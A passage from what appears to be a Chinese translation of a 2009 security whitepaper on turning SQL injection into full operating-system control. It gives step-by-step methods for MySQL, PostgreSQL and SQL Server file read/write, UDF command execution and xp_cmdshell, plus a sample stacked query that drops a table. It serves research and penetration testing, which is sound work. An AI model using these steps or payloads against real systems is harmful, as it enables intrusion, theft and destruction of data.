高级SQL注入对操作系统的完全控制

Bernardo Damele Assumpção Guimarães

bernardo.damele@gmail.com

2009年4月10日

这篇白皮书讨论了由于在与数据库通信的web应用程序中存在SQL注入缺陷而导致的服务器的安全风险。

自从一位著名黑客创造了 “SQL注入” 这一术语以来，已经过去了十多年，但它至今仍被视为主要的应用程序威胁之一。关于这一漏洞已经有诸多论述，但并非所有方面及其影响都已被揭示出来。

本文的目的是整理一些现有的知识，介绍新的技术，并演示如何在那些被忽视且理论上无法利用的场景中，通过SQL注入漏洞来完全掌控数据库管理系统的底层操作系统、文件系统以及内部网络。

Part I 介绍
1 SQL 注入
2 Web 应用脚本语言
2.1 批处理查询
3 通过 SQL 注入实现批处理查询
3.1 MySQL
3.2 PostgreSQL
3.3 Microsoft SQL Server
Part II 文件系统访问
4 读访问
4.1 MySQL
4.2 PostgreSQL
4.3 Microsoft SQL Server
5 写访问
5.1 MySQL
5.2 PostgreSQL
5.3 Microsoft SQL Server
Part III 操作系统访问
6 自定义函数
7 UDF 注入
7.1 MySQL
7.1.1 创建共享库
7.1.2 SQL注入到命令执行
7.2 PostgreSQL
7.2.1 创建共享库
7.2.2 SQL注入到命令执行
8 存储过程
8.1 Microsoft SQL Server
8.1.1 xp_cmdshell 过程
8.1.2 SQL 注入到命令执行
Part IV 带外连接
9 独立 payload stager
9.1 Payload stager 选项
9.2 会话
10 SMB 中继攻击
10.1 通用命名约定
10.2 滥用 UNC 路径请求
10.2.1 MySQL
10.2.2 PostgreSQL
10.2.3 Microsoft SQL Server
11 存储过程缓冲区溢出
11.1 漏洞利用
11.2 内存保护
11.3 绕过DEP
Part V 权限提升
Part VI 结论
12 致谢

Part I 介绍

SQL注入攻击并不新鲜。这种攻击背后的基本概念早在十多年前就由Jeff Forristall[1]在《Phrack》[2]第54卷[74]中进行了描述。

开放Web应用程序安全项目[3]在其OWASP十大项目[4]中指出注入缺陷[58]，尤其是SQL注入，是最常见且最危险的web应用程序漏洞，仅次于跨站脚本攻击。

现在的问题是："***攻击者通过利用SQL注入漏洞能够达到何种程度？***"本文将对此进行探讨。

1 SQL 注入

OWASP指南[57]对SQL注入的定义如下：

"SQL注入攻击是指通过客户端输入到应用程序的数据插入或"注入"一条SQL查询语句。一次成功的SQL注入利用可以从数据库中读取敏感数据、修改数据库数据（插入/更新/删除）、对数据库执行管理操作（比如关闭数据库管理系统）、恢复数据库管理系统文件系统中给定文件的内容，在某些情况下还能向操作系统发出命令。SQL注入攻击是注入攻击的一种类型，在这种攻击中，SQL命令被注入到数据层面的输入中，以便影响预定义SQL命令的执行。"

尽管这是web应用程序的一个常见问题，但实际上这种漏洞可能影响任何通过结构化查询语言[5]与数据库管理系统进行通信的应用程序。

当应用程序未能正确清理在SQL查询中使用的用户提供的输入时，就会发生SQL注入。通过这种方式，攻击者可以操纵传递给后端数据库管理系统的SQL语句。该语句将以执行查询的应用程序所具有的相同权限来运行。从现在起，我将把这个用户称作*会话用户*。

现代数据库管理系统是功能强大的应用程序。它们通常提供内置的工具来与底层文件系统交互，在某些情况下，还可以与操作系统交互。然而，当这些内置工具缺失时，攻击者仍然可以访问文件系统并在底层系统上执行任意命令：本文将介绍如何通过SQL注入漏洞来实现这一目标，重点关注基于web的应用程序。

---

[1] Jeff Forristal，也被称为RFP和rain.forest.puppy，是一位老牌黑客，目前就职于Zscaler云安全公司。他还因其个人的完全披露政策而闻名。

[2] 《Phrack》是一本由黑客撰写且面向黑客群体的电子杂志，于1985年11月17日首次出版。

[3] 开放Web应用程序安全项目（OWASP）是一个全球性的免费开放社区，专注于提高应用软件的安全性。

[4] OWASP十大项目代表了关于最关键的网络应用程序安全漏洞是什么的广泛共识。项目成员包括来自世界各地的各类安全专家，他们分享了自己的专业知识以制定出这份清单。

[5] 结构化查询语言（SQL）是一种数据库计算机语言，专为关系型数据库管理系统（RDBMS）中的数据检索与管理、数据库模式创建与修改以及数据库对象访问控制管理而设计。

2 Web 应用脚本语言

有许多网络应用动态脚本语言：其中一些最为成熟且常用的包括PHP[6]、ASP[7]和ASP.NET[8]。

从网络开发者或渗透测试人员的角度来看，所有这些语言都各有利弊。

它们也都拥有内置的或第三方的连接器，以便通过SQL与数据库管理系统进行交互。

绝大多数网络应用程序通过SQL语句在数据库中存储和检索数据。

在PHP中，我使用了用于连接和查询DBMS的原生函数。

在ASP中，我使用了第三方连接器：针对MySQL的*MySQL Connector/ODBC 5.1*[54]以及针对PostgreSQL的*PostgreSQL ANSI*驱动。

在ASP.NET中，我同样使用了第三方连接器：针对MySQL的*Connector/Net 5.2.5*[53]以及针对PostgreSQL的*Npgsql 1.0.1*[73]驱动。

这些第三方连接器可从数据库软件供应商的网站上获取。

2.1 批处理查询

在结构化查询语言中，批处理查询，也称为堆叠查询，是指能够将多个以分号分隔的SQL语句传递给数据库的能力。然后，这些语句将由DBMS从左到右依次执行。 尽管这些语句彼此之间并无关联，但其中一条语句执行失败将会导致后续语句无法被执行。

以下是一个批处理查询的示例：

```
SELECT col FROM table1 WHERE id=1; DROP table2
```

PHP、ASP和ASP.NET脚本语言在与后端DBMS交互时确实支持批处理查询，但也存在一些例外情况。下表阐明了默认安装中支持批处理查询的位置。

	ASP	ASP.NET	PHP
MySQL	No	Yes	No
PostgreSQL	Yes	Yes	Yes
Microsoft SQL Server	Yes	Yes	Yes

图1：编程语言及其对批处理查询的支持

批处理查询功能是理解这项研究的关键一步。

---

[6] PHP是一种最初为生成动态网页而设计的脚本语言。它已经发展到具备命令行界面功能，并且可用于独立的图形应用程序。

[7] 活动服务器页面（ASP），也被称为经典ASP，是微软推出的首个用于动态生成网页的服务器端脚本引擎。

[8] ASP.NET是微软开发并推向市场的一个网络应用程序框架，它允许程序员构建动态网站、网络应用程序和网络服务。

3 通过 SQL 注入实现批处理查询

通过SQL注入来测试web应用程序对批处理查询的支持情况，可以通过在存在漏洞的参数后附加一条能延迟后端DBMS响应的SQL语句来实现。这可以通过调用 *休眠* 函数或者执行一个耗时较长才能返回结果的大型**SELECT**查询来完成，这种技术也被称为 “大型查询SQL盲注”。

3.1 MySQL

在测试批处理查询支持之前，有必要对DBMS软件版本进行指纹识别：MySQL **5.0.12**引入了[36]的**SLEEP()**[42]函数，而在之前的版本中**BENCHMARK()**[43]函数（一个大型查询SQL盲注）可能会被滥用。

3.2 PostgreSQL

在测试批处理查询支持之前，有必要对DBMS软件版本进行指纹识别：PostgreSQL **8.2**引入了[60]**PG_SLEEP()**[61]函数，而在以前的版本中则是**generate_series()**[62]函数（一个大型查询SQL盲注）可能被滥用。

攻击者还可以从操作系统内置的**libc**库中创建一个自定义的**SLEEP()**函数。

3.3 Microsoft SQL Server

Microsoft SQL server有一个内置语句用于延迟DBMS的响应：**WAITFOR**[32]与它的参数**DELAY**后跟time一起使用（例如**WAITFOR DELAY '0:0:5'**）。

Part II 文件系统访问

在本节中，我将讲解如何利用SQL注入来获取后端DBMS底层文件系统的读写权限。

根据配置的不同，这可能会非常复杂，并且可能需要留意DBMS架构以及web应用程序所施加的限制。

4 读访问

在渗透测试期间，能够读取被入侵机器上的文件是非常有用的：这可能会导致信息泄露，而这些信息有助于攻击者实施进一步的攻击，因为它可能会造成敏感用户信息的泄漏。

4.1 MySQL

MySQL有一个内置函数，允许从底层文件系统读取文本或二进制文件：**LOAD_FILE()**[44]。

会话用户必须具备以下权限[45]：对辅助表的**FILE**权限和**CREATE TABLE**权限（仅在通过批处理查询时需要）。

在Linux和UNIX系统中，该文件必须归启动MySQL进程的用户（通常是**mysql**）所有，或者是对所有用户可读的。在Windows系统中，MySQL默认以**Local System**身份运行，因此通过数据库管理系统可以读取任何现有的文件。

可以通过UNION查询、盲注或基于报错的SQL注入技术来获取文件内容。然而，在调用**LOAD_FILE()**函数时有一些限制需要考虑：

- 如果附加文件内容的列数据类型是**varchar**，那么所显示的文件字符的最大长度为5000。
- 当通过基于报错的SQL注入技术获取内容时，在很多情况下内容会被截断为几个字符。
- 文件可以是二进制格式（例如Linux上的ELF，或者Windows上的可移植可执行文件），并且根据web应用程序语言的不同，通过UNION查询或基于报错的SQL注入技术无法在页面内容中显示该文件。

要绕过这些限制， 步骤如下：

- 通过批处理查询：
    - 创建一个带有一个字段的数据类型为**longtext**的辅助表；
    - 使用**LOAD_FILE()**函数读取文件内容，并通过**INTO DUMPFILE**将相应的十六进制编码[47]字符串值重定向到一个临时文件中；
    - 使用**LOAD DATA INFILE**[46]将临时文件内容加载到辅助表中。
- 通过任何其他SQL注入技术：
    - 获取辅助表字段值的长度；
    - 以每次1024个字符为一块来转储辅助表的字段值。

现在需要将这些数据块组装成一个单一的十六进制编码字符串，然后对其进行解码并写入本地文件。

4.2 PostgreSQL

PostgreSQL有一个内置语句，允许将底层文件系统中的文本文件复制到表的文本字段中：**COPY**[63]。

会话用户必须是 “超级用户” 才能调用此语句。

该文件必须归启动PostgreSQL进程的用户（通常是postgres）所有，或者是对所有用户可读的。

可以通过UNION查询、盲注或基于报错的SQL注入技术来获取文件内容。然而，web应用程序编程语言必须支持批处理查询。

步骤如下：

- 通过批处理查询：
  - 创建一个带有一个字段数据类型为**bytea**的辅助表；
  - 使用**COPY**语句将文本文件的内容加载到辅助表中。
- 通过任何其他SQL注入技术：
  - 统计辅助表中的条目数量；
  - 通过**ENCODE**函数[64]以base64编码的方式转储辅助表的字段条目。

现在，转储的条目需要被组装成一个单一的base64编码字符串，然后对其进行解码并写入本地文件。

自PostgreSQL 7.4版本起**COPY**语句就不能用于读取二进制文件了： 不过可以使用一个自定义的用户定义函数来读取二进制文件以作替代。 这个用户定义函数接收一个二进制文件作为输入，并将其内容以十六进制编码字符串的形式输出到一个临时文本文件上。然后攻击者就可以按照上述详细说明的方法来读取这个文本文件了。

---

[9] 还有一个原生函数，其目的是读取文件，即**lo_import()**[66]，但它返回的是一个OID，之后可以将该OID作为参数传递给**lo_export()**函数[66]，以指向所引用的文件并将其内容复制到另一个文件路径：它并不返回文件内容，所以这两个函数无法用于通过SQL注入来读取文件。

4.3 Microsoft SQL Server

Microsoft SQL Server有一个内置语句，允许将文件系统中的文本文件或二进制文件内容插入到表的**VARCHAR**字段中：**BULK INSERT** [33]。

会话用户必须具备以下权限：**INSERT**，**ADMINISTER BULK OPERATIONS**和**CREATE TABLE**。

Microsoft SQL Server 2000默认以**Administrator**身份运行，所以该数据库管理系统可以读取任何现有的文件。在Microsoft SQL Server 2005和2008中，如果数据库管理员将其配置为以本地系统（**SYSTEM**）或**Administrator**身份运行情况也是如此，否则文件必须是对所有用户可读的，这在Windows系统中是很常见的情况。

可以通过UNION查询、盲注或基于报错的SQL注入技术来获取文件内容。然而，web应用程序编程语言必须支持批处理查询。

步骤如下：

- 通过批处理查询：
  - 创建一个带有一个字段数据类型为**text**的辅助表（table1）；
  - 创建另一个带有两个字段的辅助表（table2），其中一个字段的数据类型为**INT IDENTITY(1,1) PRIMARY KEY**，另一个字段的数据类型为**VARCHAR(4096)**；
  - 使用**BULK INSERT**语句将文件内容作为单个条目加载到辅助表table1中；
  - 注入SQL代码，将辅助表table1的条目转换为其十六进制编码值，然后将编码字符串的4096个字符插入到辅助表table2的每个条目中。
- 通过任何其他SQL注入技术：
  - 统计辅助表table2中的条目数量；
  - 按照**PRIMARY KEY**字段对辅助表table2的**varchar**字段条目进行排序并转储。

现在，需要将这些条目组装成一个单一的十六进制编码字符串，然后对其进行解码并写入本地文件。

5 写访问

渗透测试成功的一个有力证明是能够对底层文件系统进行写入操作，以及执行任意命令。这一点将在本文后续部分进行阐述。

5.1 MySQL

MySQL有一个内置的**SELECT**子句，允许将数据输出到一个文件中：**INTO DUMPFILE**[48]。

会话用户必须具备以下权限：**FILE**权限，以及针对辅助表的**INSERT**，**UPDATE**和**CREATE TABLE**权限（仅在通过批处理查询时需要）。

所创建的文件始终是对所有用户可写的。在Linux和UNIX系统中，该文件归启动MySQL进程的用户（通常是**mysql**）所有。在Windows系统中，MySQL默认以**Local System**身份运行，并且该文件将对所有人都是可读的。

可以通过UNION查询或批处理查询的SQL注入技术来写入文件。然而在使用UNION查询技术时，有一些限制需要考虑：

- 如果注入点在**GET**参数上，一些web服务器会对参数请求的长度加以限制；
- 无法通过**INTO DUMPFILE**子句向现有文件追加数据。

不过，如果web应用程序支持以MySQL作为后端DBMS的批处理查询，那么这些限制是可以被绕过的：ASP.NET就是支持这种情况的编程语言之一。

步骤如下：

- 在攻击者的设备上：
  - 将本地文件内容编码为其对应的十六进制字符串；
  - 将十六进制编码字符串分割成每个长度为1024个字符的数据块。
- 通过批处理查询：
  - 创建一个带有一个字段，数据类型为**longblob**的辅助表；
  - 将第一个数据块**INSTERT**[49]到辅助表的字段中；
  - 通过向条目追加从第二个到最后一个数据块来**UPDATE**[50]辅助表的字段；
  - 通过使用**SELECT**语句的**INTO DUMPFILE**子句，将辅助表条目中十六进制编码的文件内容导出到目标文件路径。 这是可行的，因为在MySQL中，像**SELECT 0x41**这样的查询会返回相应的ASCII字符“A”。

可以通过获取已写入文件的**LENGTH**[47]值来检查文件是否已被正确写入。

应该注意的是，当Web应用程序语言是ASP和PHP时，由于它们默认不支持批处理查询，所以也可以利用UNION查询SQL注入技术将文件上传到数据库服务器。

5.2 PostgreSQL

PostgreSQL有一些原生函数[66]来处理大对象[65]：**lo_create()**，**lo_export()**和**lo_unlink()**。这些函数旨在将大型文件存储在数据库内，或者通过被称为OID的指针引用本地文件，然后这些文件可以被复制到文件系统中的其他文件上。然而，有可能滥用这些函数，通过SQL注入成功地在底层文件系统上写入文本文件和二进制文件，即便源文件位于攻击者的机器上。

会话用户必须是 “超级用户” 才能处理大对象[65, 67]。

在Linux和UNIX系统中，创建的文件权限被设置为644，并且该文件归启动PostgreSQL进程的用户（通常是**postgres**）所有。在Windows系统中，PostgreSQL默认以**postgres**身份运行，所以文件所有者是postgres。

该文件只能通过批处理查询的SQL注入技术来写入。

步骤如下：

- 在攻击者的设备上：
  - 将本地文件内容编码为其对应的base64字符串；
  - 把base64编码字符串分割成每个长度为1024个字符的数据块。
- 通过批处理查询：
  - 创建一个带有一个字段，数据类型为**text**的辅助表；
  - 将第一个数据块**INSTERT**[69]到辅助表的字段中；
  - 通过向条目追加从第二个到最后一个数据块来**UPDATE**[70]辅助表的字段；
  - 创建一个具有特定OID[66]的大对象；
  - 通过将数据字段的值设置为我们辅助表字段条目的解码[64]值，来更新与我们的OID相对应的**pg_largeobject**[67]系统表条目；
  - 通过**lo_export()**函数将与我们的OID相对应的数据导出到目标文件路径。

    请注意**lo_export()**函数仅将**pg_largeobject**表中的前8192字节导出到目标文件，但这并不限制本文后续描述的任何攻击。

可以通过获取与我们的OID相对应的**pg_largeobject**表的数据字段的**LENGTH**[64]值，来检查原始文件内容是否已正确写入到pg_largeobject表中。如果写入的文件小于8194字节，该值与写入文件的大小相同。

5.3 Microsoft SQL Server

Microsoft SQL Server有一个原生扩展过程，可用于在底层操作系统上运行命令：**xp_cmdshell()**[34]。这个扩展过程可能会被滥用来执行**echo**命令，并将其文本参数重定向到一个文件。有关这个扩展过程的更多细节，请参考8.1.1节。

> 会话用户必须拥有**CONTROL SERVER**权限才能调用这个扩展过程。
>
> 所创建的文件归启动Microsoft SQL Server进程的用户所有，并且是对所有用户可读的。

步骤如下：

- 在攻击者的设备上：
  - 将待上传的文件分割成每个65280字节的块（**debug**脚本文件大小限制）[10]；
  - 将每个块转换为纯文本**debug**脚本[3]格式。
- 通过批处理查询：
  - 对于每个纯文本块的**debug**脚本：
    - 通过**xp_cmdshell()**执行**echo**命令，将**debug**脚本的所有行输出到一个临时文件；
    - 通过**xp_cmdshell()**调用Windows调试可执行文件，根据上传的**debug**脚本重新创建该块；
    - 删除临时**debug**脚本。
  - 使用Windows的**copy**可执行文件将各个块组合起来以重新创建原始文件；
  - 将组合好的文件移动到目标路径。

可以检查文件是否已被正确写入。通过批处理的步骤如下：

- 创建一个带有一个字段，数据类型为**text**的辅助表；
- 使用**BULK INSERT**语句将文件内容作为单个条目加载到辅助表中；
- 获取辅助表第一条目的**DATALENGTH**值。

---

[10] 这项技术最初是由ToolCrypt团队在他们的dbgtool上实现的。

Part III 操作系统访问

在后端DBMS的底层操作系统上执行任意命令，通过上述提到的三种数据库软件均可实现。其要求如下：会话用户具有高权限，并且web应用程序[11] 支持批处理查询。

本章所描述的技术允许通过盲注、UNION查询或基于报错的SQL注入技术来执行命令并获取其标准输出：命令通过SQL注入来执行，而标准输出同样也是通过HTTP协议来获取的，这属于一种**带内连接**。

6 自定义函数

维基百科对自定义函数（UDF）的定义如下：

"在SQL数据库中，自定义函数提供了一种扩展数据库服务器功能的机制，通过添加一个可在SQL语句中求值的函数来实现。SQL标准区分标量函数和表函数。标量函数仅返回单个值（或NULL）。

[...] 在SQL中自定义函数是使用CREATE FUNCTION语句来声明的。"

在现代数据库管理系统中，可以根据位于文件系统中的共享库[12] 来创建函数。然后这些函数可以像其他任何内置字符串函数一样在**SELECT**语句中被调用。

这三种数据库管理系统都有一组库和API[13]，可供开发人员用于创建用户定义函数。

在Linux和UNIX系统中，共享库是一个共享对象[81]（SO），可以使用GCC[13]进行编译。在Windows系统中，它是一个动态链接库[80]（DLL），可以使用Microsoft Visual C++[23]进行编译。

为了编译一个共享库，操作系统上必须安装特定的DBMS开发库。例如，在类似Debian GNU/Linux的较新版本系统中，要为PostgreSQL编译一个UDF，你需要安装**postgresql-server-dev-8.3**软件包。对于Windows系统，需要手动将开发库路径添加到Microsoft Visual C++项目设置中。

下一步是将共享库放置在DBMS从共享库创建函数时会查找的路径下：对于PostgreSQL而言，允许将共享库放置在Windows或Linux系统上任何可读/可写的文件夹中，而MySQL则需要将二进制文件放置在一个特定位置，该位置会因具体的软件版本和操作系统的不同而有所差异。

---

[11] 在第6页表格所考虑的九种可能组合中，只有两种不支持批处理查询，因此无法通过SQL注入执行命令：PHP与MySQL的组合以及ASP与MySQL的组合。

[12] 共享库是程序启动时加载的库。当一个共享库被正确安装后，之后启动的所有程序都会自动使用这个新的共享库。

[13] 应用程序编程接口（API）是由库和/或操作系统服务提供的一组例行程序、数据结构、对象类和/或协议，目的是为了支持应用程序的构建。

7 UDF 注入

到目前为止，攻击者们都低估了使用UDF来控制底层操作系统的潜力。然而，这个在数据库安全方面被忽视的领域却潜在地提供了实现命令执行的途径。

通过利用SQL注入漏洞，有可能上传一个包含两个用户定义函数的共享库：

- **sys_eval(cmd)** —— 执行任意命令，并返回其标准输出；
- **sys_exec(cmd)** —— 执行任意命令，并返回其退出码。

在将二进制文件上传到后端DBMS查找共享库的路径之后，攻击者就可以从中创建这两个用户定义函数：这就是UDF注入。

现在，攻击者可以调用这两个函数中的任意一个：如果命令是通过**sys_exec()**执行的，那么它是通过批处理查询技术来执行的，并且不会返回任何输出。然而，如果是通过**sys_eval()**执行的，就会创建一个辅助表，命令会被执行一次，其标准输出会被插入到该表中，然后可以使用盲注算法、UNION查询或者基于报错的技术，通过转储辅助表的第一条目来获取输出；转储之后，该条目会被删除，辅助表就又可以再次被使用了。

7.1 MySQL

7.1.1 创建共享库

在MySQL上，可以创建一个定义了用于在底层操作系统上执行命令的用户定义函数的共享库。几年前，Marco Ivaldi展示过，他的共享库[20]定义了一个用于执行命令的UDF。然而，在我看来，这存在两个局限性：

- 它不符合MySQL 5.0及以上版本的要求，因为它没有遵循创建合适UDF的新准则；
- 它调用C语言的**system()**函数来执行命令，并且总是返回整数0。

这种形式的UDF在新的MySQL服务器版本中几乎毫无用处，因为如果攻击者想要获取命令的退出状态或标准输出，是无法做到的。

事实上，我发现可以通过SQL注入利用UDF来执行命令并获取它们的标准输出。

我首先将注意力集中在MySQL的UDF库上，并对其中一个代码进行了修改：**lib_mysqludf_sys**[79]通过添加**sys_eval()**函数来执行任意命令并返回命令的标准输出。这段代码在Linux和Windows系统上都能兼容。

修改后的源代码可在sqlmap子版本库[5]中获取。

sys_exec()函数可用于执行任意命令，相较于Marco Ivaldi的共享库，它有两个优势：

- 它符合MySQL 5.0及以上版本的要求，并且能在Linux上作为共享对象进行编译，在Windows上作为动态链接库进行编译；
- 它会返回所执行命令的退出状态。

在MySQL参考手册[41]中可以找到一份关于如何用C语言创建符合MySQL要求的自定义函数的指南。我还发现Roland Bouman的关于如何在Windows系统上使用Microsoft Visual C++编译共享库的博客文章[75]也很有用。

该共享库在Windows系统上的大小为9216字节，在Linux系统上为12896字节。共享库越小，通过SQL注入上传的速度就越快。为了使其尽可能小，攻击者可以在启用优化设置的情况下对其进行编译，而且一旦编译完成，在Windows系统上可以使用诸如UPX[17]之类的可移植可执行文件压缩工具来减小动态链接库的大小。在Linux系统上，可以使用**strip**命令丢弃所有符号来减小共享对象的大小。经过处理后，在Windows系统上生成的二进制文件大小为6656字节，在Linux系统上为5476字节，分别比最初编译的共享库减少了27.8%和57.54%。

值得注意的是，使用MySQL 6.0开发库编译的MySQL共享库与所有其他MySQL版本都向后兼容，因此，通过编译一个这样的共享库，同一个二进制文件就可以在同一架构和操作系统的任何MySQL服务器版本上重复使用。

7.1.2 SQL注入到命令执行

会话用户必须具备以下权限：对mysql数据库拥有**FILE**和**INSERT**权限，对其中一个共享库路径拥有写访问权限，以及具备写入文件所需的权限，可参考5.1节。

步骤如下：

- 通过盲注或UNION查询：

    - 对MySQL版本进行指纹识别，原因有二：
        - 按照3.1节所述，选择用于测试批处理查询支持情况的SQL语句；
        - 按照下一段所述，确定一个有效的共享库绝对文件路径。
    - 检查**sys_exec()**和**sys_eval()**函数是否已经存在，以避免不必要的数据覆盖。
- 测试对批处理查询的支持情况；
- 通过批处理查询：
    - 将共享库上传到MySQL服务器会查找的绝对文件系统路径下，具体描述如下；
    - 根据共享库创建[51]这两个自定义函数；
    - 通过**sys_exec()**或**sys_eval()**执行任意命令。

根据MySQL的版本，共享库必须放置在不同的文件系统路径下：

- 对于MySQL 4.1版本中低于**4.1.25**的版本、MySQL 5.0版本中低于**5.0.67**的版本以及MySQL 5.1版本中低于**5.1.19**的版本，共享库必须位于系统动态链接器会搜索的目录中：在Windows系统下，共享对象可以上传至**C:\WINDOWS**、**C:\WINDOWS\system**、**C:\WINDOWS\system32**、**@@basedir\bin**或者**@@datadir**[14]。在Linux和UNIX系统中，动态链接库可以放置在**/lib**，**/usr/lib**或者**/etc/ld.so.conf**[15] 文件中指定的任何路径下；
- MySQL 5.1版本**5.1.19**[39]强化了系统变量**plugin_dir**[40]的预期行为，该变量指定了一个共享库必须放置的绝对文件系统路径[16] 。这同样适用于所有MySQL 6.0[52]的版本。

  来自MySQL 5.1[51]和MySQL 6.0[52]的手册内容：

  “***CREATE [AGGREGATE] FUNCTION function_name RETURNS {STRING|INTEGER|REAL|DECIMAL} SONAME shared_library_name***

  [...] ***shared_library_name****是包含实现该函数代码的共享对象文件的基本名称。****该文件必须位于插件目录中。这个目录由plugin_dir系统变量的值给出。***”
- MySQL 4.1版本**4.1.25**[35]以及MySQL 5.0版本**5.0.67**[38]也引入了系统变量**plugin_dir**：默认情况下它为空值，并且适用之前MySQL版本的相同行为。

  来自MySQL 5.0手册[37]：

  “*[...] 从MySQL 5.0.67版本起，该文件必须位于插件目录中。这个目录由****plugin_dir****系统变量的值确定。****如果plugin_dir的值为空，那么就适用在5.0.67版本之前的行为：该文件必须位于系统动态链接器会搜索的一个目录中。***”

---

[14] 在Windows系统中，MySQL以本地系统（SYSTEM）用户身份运行，该用户在默认情况下具有高权限，能够对所有有效的共享库路径进行读写操作。

[15] 在近期版本的Linux和UNIX系统中，MySQL以mysql用户身份运行。默认情况下，该用户对任何有效的共享库路径都没有写权限。

[16] 默认情况下，这个变量的值被设置为**<MySQL安装路径>/lib/plugin**，并且**plugin/**子文件夹并不存在：服务器管理员必须事先创建它，否则攻击者将无法将二进制文件上传到该文件夹中，从而也就无法执行任何命令。

7.2 PostgreSQL

7.2.1 创建共享库

在PostgreSQL中，可以通过以下三种方式实现任意命令执行：

- 利用**libc**内置的**system()**函数：Nico Leidecker在他的论文《Having Fun With PostgreSQL》[55, 56]中描述了这项技术；
- 创建合适的过程语言函数[71]：Daniele Bellucci描述了[59]使用PL/Perl和PL/Python语言来实现此操作的步骤；
- 创建C语言函数[72]（UDF）：David Litchfield在他的《The Dat abase Hacker's Handbook》一书的第25章 *PostgreSQL: Discovery and Attack* 中描述了这项技术。示例代码可从该书的主页[11]免费获取。

所有这些方法都至少存在一个局限性，使得它们在最近的PostgreSQL服务器安装环境中毫无用处：

- 第一种方法仅在PostgreSQL **8.1**版本及之前有效，并且它返回的是命令的退出状态，而非命令的标准输出。自PostgreSQL **8.2开发版**起，所有共享库都必须包含一个"魔法块"。

  来自PostgreSQL 8.3手册[72]：

  "*从PostgreSQL 8.2版本起需要一个魔法块。要包含魔法块，在包含头文件**fmgr.h**之后，在其中一个（且只能是一个）模块源文件中写入以下内容：*

  #ifdef PG_MODULE_MAGIC

  PG_MODULE_MAGIC;

  #endif

  *如果代码不需要针对8.2版本之前的PostgreSQL发行版进行编译，那么可以省略**#ifdef**测试。*"
- 第二种方法只有在PostgreSQL服务器在编译时支持其中一种过程语言的情况下才有效。默认情况下，至少在大多数Linux发行版和Windows系统中，这些过程语言是不可用的。
- 第三种方法在PostgreSQL **8.1**版本及之前有效，原因与第一种方法相同，并且具有相同的特性：无法获取命令的标准输出。不过，它可以通过修改来包含"魔法块"，从而使其即使在PostgreSQL 8.1版本以上也能正常工作。

我将上述MySQL共享库的C源代码移植到了PostgreSQL上，并创建了一个名为**lib_postgresqludf_sys**的共享库，其中包含两个C语言函数。源代码可在sqlmap子版本库[5]中获取。

该共享库在Windows系统上的大小为8192字节，在Linux系统上为8567字节。共享库越小，通过SQL注入上传的速度就越快。为了使其尽可能小，攻击者可以在启用优化设置的情况下对其进行编译，而且一旦编译完成，在Windows系统上可以使用诸如UPX[17]之类的可移植可执行文件压缩工具来减小动态链接库的大小，在Linux系统上可以使用strip命令丢弃所有符号来减小共享对象的大小。经过处理后，在Windows系统上生成的二进制文件大小为6144字节，在Linux系统上为5476字节，分别比最初编译的共享库减少了25%和36.1%。

使用PostgreSQL 8.3开发库编译的共享库与其他任何PostgreSQL版本都不向后兼容：共享库必须使用你想要在其上使用该共享库的相同PostgreSQL开发库版本进行编译。

7.2.2 SQL注入到命令执行

会话用户必须是 "超级用户"。

步骤如下：

- 通过盲注或UNION查询：
  - 对PostgreSQL版本进行指纹识别，以便按照3.2节所述选择用于测试批处理查询支持情况的SQL语句；
  - 检查**sys_exec()**和**sys_eval()**函数是否已经存在，以避免不必要的数据覆盖；

- 测试对批处理查询的支持情况；
- 通过批处理查询：
    - 将共享库上传到运行PostgreSQL的用户具有读写访问权限[17] 的绝对文件系统路径下，在Linux和UNIX系统中可以是**/tmp**，在Windows系统中可以是**C:\WINDOWS\Temp**；
    - 根据共享库[18] 创建[68]这两个自定义函数；
    - 通过**sys_exec()**或**sys_eval()**执行任意命令。

值得注意的是，PostgreSQL比MySQL更灵活，它允许指定共享库所在的绝对路径。

---

[17] 在Linux和Windows系统上，PostgreSQL均以无特权用户**postgres**运行。

[18] 在Windows系统中，postgres用户对**<PostgreSQL安装路径>/data**具有读写访问权限。如5.2节所述，在使用**lo_export()**时不指定任何路径，就可以在该路径下创建共享库。也就是说，当从共享库创建UDF时，可以省略绝对路径。

8 存储过程

> 译者注：这里原文"Stored procedure"译为“存储程序”可能会更加贴切。但大多数人称之为“存储过程”，所以本文中均译为“存储过程”。

维基百科对存储过程的定义如下：

*“存储过程是可供访问关系型数据库系统的应用程序使用的一种子程序。存储过程实际上存储在数据库的数据字典中。[...] 存储过程与自定义函数相似。主要的区别在于，UDFs可以像SQL语句中的其他任何表达式一样使用，而存储过程必须使用**CALL**语句或**EXECUTE**语句来调用。”*

在现代数据库管理系统中，可以创建存储过程来执行复杂任务。一些DBMS也有内置的存储过程，例如Microsoft SQL Server和Oracle公司的数据库。通常，存储过程会深度利用DBMS特定的方言，分别是Transact-SQL和PL/SQL。

8.1 Microsoft SQL Server

8.1.1 xp_cmdshell 过程

Microsoft SQL Server有一个内置的扩展存储过程，用于在底层操作系统上执行命令并返回其标准输出：**xp_cmdshell()**[29,30,31]。

在Microsoft SQL Server 2000中，这个存储过程默认是启用的，而在Microsoft SQL Server 2005和2008中，它虽然存在但默认是禁用的：如果会话用户是**sysadmin**服务器角色的成员，攻击者可以远程重新启用它。在Microsoft SQL Server 2000中，可以使用**sp_addextendedproc**存储过程来进行相关操作，而在Microsoft SQL Server 2005和2008中，则可以使用**sp_configure**存储过程。

如果重新启用该过程失败，并且会话用户具备所需权限的话，攻击者可以从头开始使用shell对象创建一个新的过程。这种技术已经被多次演示过，并且如果会话用户具有高权限的话仍然可以使用[2]。

在所有Microsoft SQL Server版本中，只有具有sysadmin服务器角色的用户才能执行这个过程。在Microsoft SQL Server 200版和2008版中，被指定为代理账户的用户也可以运行这个过程。

8.1.2 SQL 注入到命令执行

会话用户必须拥有**CONTROL SERVER**权限。

首先要做的是检查**xp_cmdshell()**扩展程序是否存在且已启用：如果它被禁用了，就重新启用它；如果创建失败，就从头开始创建它。

如果攻击者想要获取命令的标准输出：

- 创建一个带有一个字段数据类型为**text**的辅助表；
- 通过**xp_cmdshell()**过程执行命令，并将其标准输出重定向到一个临时文件。
- 使用**BULK INSERT**语句将临时文件的内容作为单个条目加载到辅助表中；
- 通过**xp_cmdshell()**删除临时文件；
- 获取辅助表条目的内容；
- 删除辅助表中的内容。

否则：

- 通过xp_cmdshell()过程执行命令。

Part IV 带外连接

在上一章中，我讨论了在底层操作系统上执行命令的两种技术：UDF注入和存储过程的使用。

